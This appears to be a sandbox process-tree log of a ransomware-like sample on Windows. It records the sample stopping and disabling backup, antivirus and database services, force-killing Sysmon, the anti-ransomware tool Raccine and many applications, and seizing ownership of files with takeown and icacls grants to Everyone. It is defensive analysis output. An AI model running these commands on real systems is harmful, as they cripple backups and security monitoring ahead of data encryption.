C:\Windows\system32\net.exenet stop VeeamTransportSvc /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config MVarmor64 start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop PDVFSService /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop PDVFSService /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop RTVscan /y2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RTVscan /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchange$ /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchange$ /y3⤵
-
-
-
C:\Windows\system32\net.exenet stop vmware-usbarbitator64 /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop vmware-usbarbitator64 /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config GxVss start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config VSNAPVSS start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config memtas start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop mepocs /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mepocs /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config msexchange start= disabled2⤵
-
-
C:\Windows\system32\net.exenet stop QBCFMonitorService /y2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService /y3⤵
-
-
-
C:\Windows\system32\sc.exesc config wrapper start= disabled2⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\sc.exesc config MVArmor start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config svc$ start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WSBExchange start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config msmdsrv start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config GxFWD start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc config QBIDPService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config stc_raw_agent start= disabled2⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\sc.exesc config YooBackup start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config VeeamNFSSvc start= disabled2⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\sc.exesc config QBVSS start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config vmware-converter start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc config GxCVD start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config tomcat6 start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exesc config QBFCService start= disabled2⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\sc.exesc config VeeamDeploymentService start= disabled2⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\sc.exesc config VeeamTransportSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config sophos start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config PDVFSService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config RTVscan start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config MSExchange$ start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config vmware-usbarbitator64 start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc config mepocs start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc config QBCFMonitorService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM xfssvccon.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM wpython.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM wpython2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM agntsvc.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM agntsvc2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM AutodeskDesktopApp.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM AutodeskDesktopApp2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM QBDBMgr.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM axlbridge.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM QBDBMgr2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM qbupdate.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bengien.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM xfssvccon2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM QBIDPService.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM CoreSync.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bedbh.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM QBW32.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM QBW64.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM QBDBMgrN.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM RAgui.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM benetns.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM EnterpriseClient.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM beserver.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM axlbridge2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM VeeamDeploymentSvc.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Raccine_x86.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM fbguard.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM encsvc.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Creative Cloud.exe"2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM fbserver.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM fdhost.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM RaccineElevatedCfg.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Raccine.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM SimplyConnectionManager.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM fdlauncher.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM dbsnmp.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM raw_agent_svc.exe2⤵
- Kills process with taskkill
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM RaccineSettings.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqbcoreservice.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM dbeng50.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM qbupdate2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bengien2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM httpd.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM QBIDPService2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM CoreSync2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bedbh2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM QBW322⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM QBW642⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM QBDBMgrN2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM RAgui2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM EnterpriseClient2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM benetns2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM beserver2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM isqlplussvc.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM VeeamDeploymentSvc2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Raccine_x862⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM fbguard2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM encsvc2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Creative Cloud"2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM fbserver2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM fdhost2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM RaccineElevatedCfg2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Raccine2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM SimplyConnectionManager2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM fdlauncher2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM dbsnmp2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM raw_agent_svc2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM RaccineSettings2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqbcoreservice2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM dbeng502⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msaccess.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM MsDtSrvr.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msftesql.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM httpd2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mspub.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mydesktopqos.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mydesktopservice.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mysqld.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mysqld-nt.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mysqld-opt.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM ocautoupds.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM ocomm.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM ocssd.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM isqlplussvc2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM oracle.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM pvlsvr.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM node.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM java.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM python.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sql.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlagent.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlbrowser.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlmangr.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlservr.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlwriter.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Ssms.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Sysmon.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Sysmon64.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM tbirdconfig.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM TeamViewer.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msaccess2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM MsDtSrvr2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msftesql2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM TeamViewer_Service.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mspub2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mydesktopqos2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mydesktopservice2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mysqld2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mysqld-nt2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mysqld-opt2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM ocautoupds2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM ocomm2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM ocssd2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM tv_w32.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM oracle2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM pvlsvr2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM node2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM java2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM python2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sql2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlagent2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlbrowser2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlmangr2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlservr2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM sqlwriter2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Ssms2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Sysmon642⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Sysmon2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM tbirdconfig2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM TeamViewer2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM tv_x64.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM tomcat6.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vsnapvss.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM TeamViewer_Service2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vxmon.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM wdswfsafe.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM wsa_service.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM wxServer.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM wxServerView.exe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM tv_w322⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM tv_x642⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM tomcat62⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vsnapvss2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vxmon2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM wdswfsafe2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM wxServer2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM wsa_service2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM wxServerView2⤵
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\takeown.exetakeown /F "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrome.7z" /A2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /F "C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\Archive.zip" /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Users\Admin\AppData\Roaming\ConvertSubmit\SelectInvoke.zip /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Users\Admin\AppData\Roaming\DismountDisable\InstallMove.7z /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\Temp\PendingDeletes\e7af0c4736e5d70140a100001815341f.MS-User.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Users\Admin\AppData\Roaming\CompareConvertFrom\FindRequest.7z /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\Temp\PendingDeletes\e2d60c4736e5d70142a100001815341f.MS-ADLDS-DisplaySpecifiers.LDF /A2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1081_none_6700b2d2d3c0055f\MS-adamschemaw2k8.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1081_none_6700b2d2d3c0055f\MS-AdamSyncMetadata.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\Temp\PendingDeletes\293b214736e5d7015da100001815341f.MS-adamschemaw2k8.LDF /A2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\Archive.zip" /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\Temp\PendingDeletes\9714214736e5d7015ca100001815341f.MS-adamschemaw2k3.LDF /A2⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\Temp\PendingDeletes\dd880c4736e5d7013ea100001815341f.MS-AZMan.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrome.7z" /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\Temp\PendingDeletes\fb610c4736e5d7013da100001815341f.MS-ADAM-Upgrade-2.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\Temp\PendingDeletes\e2d60c4736e5d70142a100001815341f.MS-ADLDS-DisplaySpecifiers.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1081_none_6700b2d2d3c0055f\MS-adamschemaw2k3.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\Temp\PendingDeletes\e7af0c4736e5d7013fa100001815341f.MS-InetOrgPerson.LDF /A2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1081_none_6700b2d2d3c0055f\MS-AdamSyncMetadata.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Users\Admin\AppData\Roaming\NewReceive\PopExit.rar /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\Temp\PendingDeletes\9714214736e5d7015ca100001815341f.MS-adamschemaw2k3.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\Temp\PendingDeletes\e7af0c4736e5d70140a100001815341f.MS-User.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Users\Admin\AppData\Roaming\ConvertSubmit\SelectInvoke.zip /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Users\Admin\AppData\Roaming\CompareConvertFrom\FindRequest.7z /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Users\Admin\AppData\Roaming\DismountDisable\InstallMove.7z /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\Temp\PendingDeletes\293b214736e5d7015da100001815341f.MS-adamschemaw2k8.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1081_none_6700b2d2d3c0055f\MS-adamschemaw2k8.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1_none_a813da7cbdfebb0a\MS-AdamSyncMetadata.LDF /A2⤵
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1_none_a813da7cbdfebb0a\MS-adamschemaw2k3.LDF /A2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\Temp\PendingDeletes\dd880c4736e5d7013ea100001815341f.MS-AZMan.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1_none_a813da7cbdfebb0a\MS-adamschemaw2k8.LDF /A2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\Temp\PendingDeletes\fb610c4736e5d7013da100001815341f.MS-ADAM-Upgrade-2.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\Temp\PendingDeletes\e7af0c4736e5d7013fa100001815341f.MS-InetOrgPerson.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-ADAM-Upgrade-1.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-ADAM-Upgrade-2.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Users\Admin\AppData\Roaming\NewReceive\PopExit.rar /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-ADLDS-DisplaySpecifiers.LDF /A2⤵
-
